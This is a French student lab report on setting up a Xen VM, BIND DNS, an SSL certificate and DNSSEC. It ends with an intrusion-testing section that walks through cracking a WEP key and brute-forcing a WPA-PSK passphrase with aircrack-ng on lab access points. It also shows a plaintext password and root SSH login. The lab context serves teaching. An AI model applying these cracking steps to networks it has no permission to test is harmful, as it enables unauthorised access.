TP sysres IMA5 2021/2022 G5
BOURDAIN Hélène & VINGERE Camille
Sommaire
Plan d'adressage
Groupe | VLAN | Réseau IPv4 | Réseau IPv6 | @IPv4 virtuelle | IPv4/IPv6 6509E (E304) | IPv4/IPv6 C9200 (E306) | IPv4/IPv6 ISR4331 | IPv4 @MV | SSID | VM |
---|---|---|---|---|---|---|---|---|---|---|
Helene / Camille | 04 | 10.04.0.0/16 | 2001:7A8:116E:60B4::0/64 | 10.04.0.250 | 10.04.0.251 | 10.04.0.252 | 10.04.0.253 | 193.48.57.180/28 | Tulipe | Duff |
Architecture réseau
Schéma global
Nous nous sommes occupés de l'installation physique du réseau.
Mise en place de la machine virtuelle
Création d'une machine virtuelle Xen
Connexion à capbreton
ssh root@capbreton
Changer la variable environnement pour le proxy
export http_proxy=http://proxy.plil.fr:3128
Création de la VM
xen-create-image --hostname=Duff --ip=193.48.57.180 --netmask=255.255.255.240 --gateway=193.48.57.190 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye * --hostname : nom de la VM * --netmask : masque de sous-réseau * --gateway : ip de la passerelle * --dir : répertoire où les disques virtuels doivent être créés * --password : mot de passe pour accéder à la VM * --dist : distribution linux
Création des deux partitions LVM
Choisir le volume
Pour cela, on affiche les différents volumes disponible
vgdisplay --- Volume group --- VG Name storage System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 150 VG Access read/write VG Status resizable MAX LV 0 Cur LV 24 Open LV 12 Max PV 0 Cur PV 2 Act PV 2 VG Size <5.46 TiB PE Size 4.00 MiB Total PE 1430526 Alloc PE / Size 45056 / 176.00 GiB Free PE / Size 1385470 / <5.29 TiB VG UUID eusQhE-lOxZ-cQqQ-uFxt-dYjG-LuwI-HL0flc --- Volume group --- VG Name virtual System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 333 VG Access read/write VG Status resizable MAX LV 0 Cur LV 56 Open LV 49 Max PV 0 Cur PV 2 Act PV 2 VG Size <1.82 TiB PE Size 4.00 MiB Total PE 476934 Alloc PE / Size 143104 / 559.00 GiB Free PE / Size 333830 / 1.27 TiB VG UUID MS50AM-5UPD-Q5As-ZExy-nQYw-6zvq-Lftt6B --- Volume group --- VG Name system System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 2 VG Access read/write VG Status resizable MAX LV 0 Cur LV 1 Open LV 1 Max PV 0 Cur PV 2 Act PV 2 VG Size <834.18 GiB PE Size 4.00 MiB Total PE 213549 Alloc PE / Size 213549 / <834.18 GiB Free PE / Size 0 / 0 VG UUID 09LwR3-qOUI-z438-g1TX-RGan-Y0HU-zKjTj2
On a choisi d'utiliser storage car c'est celui avec le plus d'espace disponible.
On créé les deux LV
lvcreate -L10G -n Duff1 storage lvcreate -L10G -n Duff2 storage *-L : taille allouée *-n : nom de la partition *storage : volume choisi
On a formaté nos disques
mkfs.ext4 /dev/storage/Duff1 mkfs.ext4 /dev/storage/Duff2
On a modifié le fichier de configuration
Cela nous a permit d'ajouter nos deux LVM et ajouter le pont IMAsc
vim /etc/xen/Duff.cfg root = '/dev/xvda2 ro' disk = [ 'file:/usr/local/xen/domains/Duff/disk.img,xvda2,w', 'file:/usr/local/xen/domains/Duff/swap.img,xvda1,w', 'phy:/dev/storage/Duff1,xvda3,w', 'phy:/dev/storage/Duff2,xvda4,w' ] # Networking # vif = [ 'ip=193.48.57.180 ,mac=00:16:3E:28:98:56 ,bridge=IMA5sc' ]
On a ensuite lancé Duff
xl create -c /etc/xen/Duff.cfg *-c : permet de spécifier le fichier de configuration
On a ensuite autorisé l'IPv6
vi /etc/network/interfaces auto eth0 inet6 auto
Monter les disques dans la VM
Créer un point de montage
mkdir /mnt/xvda3 mkdir /mnt/xvda4 mount /dev/xvda3 /mnt/xvda3 mount /dev/xvda4 /mnt/xvda4
On créé les deux partitions
Les deux partitions que nous allons créer sont /home et /var or dans /var il y a déjà des fichiers que nous allons déplacer dans notre /mnt/xvda4
mv /var/* /mnt/xvda4
On édite fstab afin d'ajouter nos deux disques
vi /etc/fstab /dev/xvda3 /home ext4 defaults 0 2 /dev/xvda4 /var ext4 defaults 0 2 *ext4 : type de formatage
On monte tout
mount -a
On peut ensuite voir tout nos disques
lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT xvda1 202:1 0 512M 0 disk [SWAP] xvda2 202:2 0 4G 0 disk / xvda3 202:3 0 10G 0 disk /home xvda4 202:4 0 10G 0 disk /var
Service Internet
SSH
Modifier le fichier /etc/ssh/sshd_config:
Décommenter Port X Autoriser le login root : PermitRootLogin Yes X : numéro du port ssh = 22
Relancer le service SSH
service ssh restart
Serveur DNS
Nom de domaine :
Aller sur Gandi.net : Nom domaine : duff-tulipe.club Blue record : ns1.duff-tulipe.club ip : 193.48.57.180
Modification de /etc/resolv.conf
On installe un serveur de noms sur notre machine, elle nous servira donc de nameserver
nameserver 127.0.0.1
Modification de /etc/bind/named.conf.local
zone "duff-tulipe.club" IN { type master; file "/etc/bind/db.duff-tulipe.club"; allow-transfer { 217.70.177.40; }; };
Création de /etc/bind/db.duff-tulipe.club
$TTL 259200 @ IN SOA ns1.duff-tulipe.club. postmaster.duff-tulipe.club. ( 2021121301 ; Incrementation date based 18000 ; Refresh every 5 hours 3600 ; Retry every hour 388000 ; Expire after 45 days 259200 ) ; Minimum TTL : 3 days ; @ IN NS ns1.duff-tulipe.club. @ IN NS ns6.gandi.net. ns1 IN A 193.48.57.180 www IN A 193.48.57.180 IN AAAA 2001:660:4401:60b0:216:3eff:fe28:9856 * A : Nom attribué à une adresse de type IP V4 * AAAA : Nom attribué à une adresse de type IP V6 * NS : Le ou les serveurs de noms de la zone (IPV4) * SOA : Démarre la configuration * TTL : Time to Live
Sécurisation du site par certificat SSL
Nous avons généré les clés privés et publiques avec un niveau de hachage SHA256.
openssl req -nodes -newkey rsa:2048 -sha256 -keyout duff-tulipe.club.key -out duff-tulipe.club.csr * duff-tulipe.club.key : clé privé * duff-tulipe.club.csr : clé publique
Il faut ensuite faire une demande de signature sur gandi.net puis ajouter un enregistrement CNAME à notre DNS dans le fichier /etc/bind/db.duff-tulipe.club :
_81984CA0A14C2BF87A3DC60134F472F1.duff-tulipe.club. 10800 IN CNAME 9693CBB1C5FF588366B34976185CEF2D.CF6A4117B09D101A3558AB1B3B415A3F.3001ef257407d5a371a9.sectigo.com.
Le certificat est disponible sur gandi sous format .crt et il faut le placer dans /etc/ssl/certs. On doit également télécharger le certificat intermédiaire de gandi (GandiStandardSSLCA2.pem).
Configuration de Apache 2 en utilisant le certificat SSL de Gandi
Sécurisation de serveur DNS par DNSSEC
Modification de /etc/binc/named.conf.options
Activer le DNSSEC pour Bind: dnssec-enable yes;
Création de la clef asymétrique de signature de clefs de zone
Création du répertore /etc/bind/duff-tulipe.dnssec
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE duff-tulipe.club
Renommer la clef en : duff-tulipe.club-ksk.key duff-tulipe.club-ksk.private
Création la clef asymétrique de la zone pour signer les enregistrements
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE duff-tulipe.club Renommer la clef en : duff-tulipe.club-zsk.key duff-tulipe.club-zsk.private
Inclusion des fichiers dans /etc/bind/db.duff-tulipe.club
$include /etc/bind/duff-tulipe.club.dnssec/duff-tulipe.club-ksk.key $include /etc/bind/duff-tulipe.club.dnssec/duff-tulipe.club-zsk.key
On incrémente le numéro de version
@ IN SOA ns1.duff-tulipe.club. postmaster.duff-tulipe.club. ( 2021121302 ; Incrementation date based
Signature des enregistrement de la zone
dnssec-signzone -o duff-tulipe.club -k duff-tulipe.club-ksk ../db.duff-tulipe.club duff-tulipe.club-zsk
Modification du ficher named.conf.local
Cela permet d'utiliser la zone signée, générée à l'étape précédente
zone "duff-tulipe.club" IN { type master; file "/etc/bind/db.duff-tulipe.club.signed"; allow-transfer { 217.70.177.40; }; };
Communication de la partie publique
Copie du ficher duff-tulipe.club-ksk.key dans la partie DNSSEC de notre domaine sur gandi.net (KSK et algorithme RSA-SHA1)
Test
On lance la commande
dnssec-verify -o duff-tulipe.club db.duff-tulipe.club.signed
Loading zone 'duff-tulipe.club' from file 'db.duff-tulipe.club.signed' Verifying the zone using the following algorithms: - RSASHA1 Zone fully signed: Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked ZSKs: 1 active, 0 stand-by, 0 revoked
Tests d'intrusion
Cassage de clef WEP d’un point d’accès WiFi
Installation du paquet aircrack
apt install aircrack-ng
Affichage de notre interface réseau
airmon-ng
Arrêter les process existant
airmon-ng check kill
Connecter notre interface sur un canal
airmon-ng start <n°interface> <canal> n°interface : wlan0mon canal : 3
Récupération du BSSID du point d'accès
airodump-ng wlan0mon permet d'écouter tous les paquets On choisit une cracotte : cracotte05 => BSSID : 04:DA:D2:9C:50:54
Test d'injection
Après avoir récupéré le BSSID d'une des cracotte on réalise un test d'injection.
aireplay-ng -9 -e <nom_du_point_d_acces> -a <BSSID> <n°interface>
Capture des VI sur notre point d'accès dans un fichier
airodump-ng -c <canal> --bssid <BSSID> -w output <n°interface>
Il faut désormais ouvrir un nouveau terminal.
Associer l'interface réseau à notre point d'accès
Nous utilisons une fausse authentification pour nous connecter.
aireplay-ng -1 0 -e <nom_du_point_d_acces> -a <BSSID> -h <BSSID_interface_reseau> <n°interface> nom pt acces : cracotte05 bssid: 04:DA:D2:9C:50:54 BSSID_interface_reseau : 40:A5:EF:01:35:79 n°interface : wlan0mon
Décryptage
aircrack-ng -b 04:DA:D2:9C:50:54 output*.cap Va tester différentes clefs jusqu'à trouver la bonne (822 dans notre cas) KEY FOUND! [ 55:55:55:55:5A:BC:06:CB:A4:44:44:44:44] Decrypted correctly: 100%
Cassage du mot de passe WPA-PSK par force brute
Affichage de notre interface réseau
airmon-ng wlx40a5ef059e47
Arrêter les process existant
airmon-ng check kill
Connecter notre interface sur un canal
airmon-ng start <n°interface> <canal> n°interface : wlan0mon canal : 3
Récupération du BSSID du point d'accès
airodump-ng wlan0mon permet d'écouter tous les paquets On choisit une kracotte (avec un "k" pour le WPA) : kracotte14 => BSSID : 44:AD:D9:5F:87:0D
On capture ensuite les VI générés par le point d'accès afin de capturer une Handshake dans un fichier psk :
airodump-ng -c 3 --bssid 44:AD:D9:5F:87:03 -w psk wlan0mon
*-c 3 : channel *--bssid: BSSID de la kracotte
On créé ensuite un dictionnaire de toutes les combinaisons possibles de 8 chiffres avec l'aide de l'utilitaire crunch :
apt install crunch
crunch 8 8 0123456789 -o password.lst *8 nombre min de caractères *8 nombre max de caractères *0123456789 : caractères utilisés pour les combinaisons *-o : fichier de sortie
Une fois le chargement terminé nous obtenons ce résultat
[00:56:46] 59882312/100000000 keys tested (17564.32 k/s) KEY FOUND! [ 59914999 ] Master Key : B6 2C 87 9A 1D D2 52 1A 23 45 79 FA 95 2F 09 F0 75 A4 0C D9 AD 3B 10 C3 2B F7 41 50 00 AF D5 9D Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 EAPOL HMAC : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00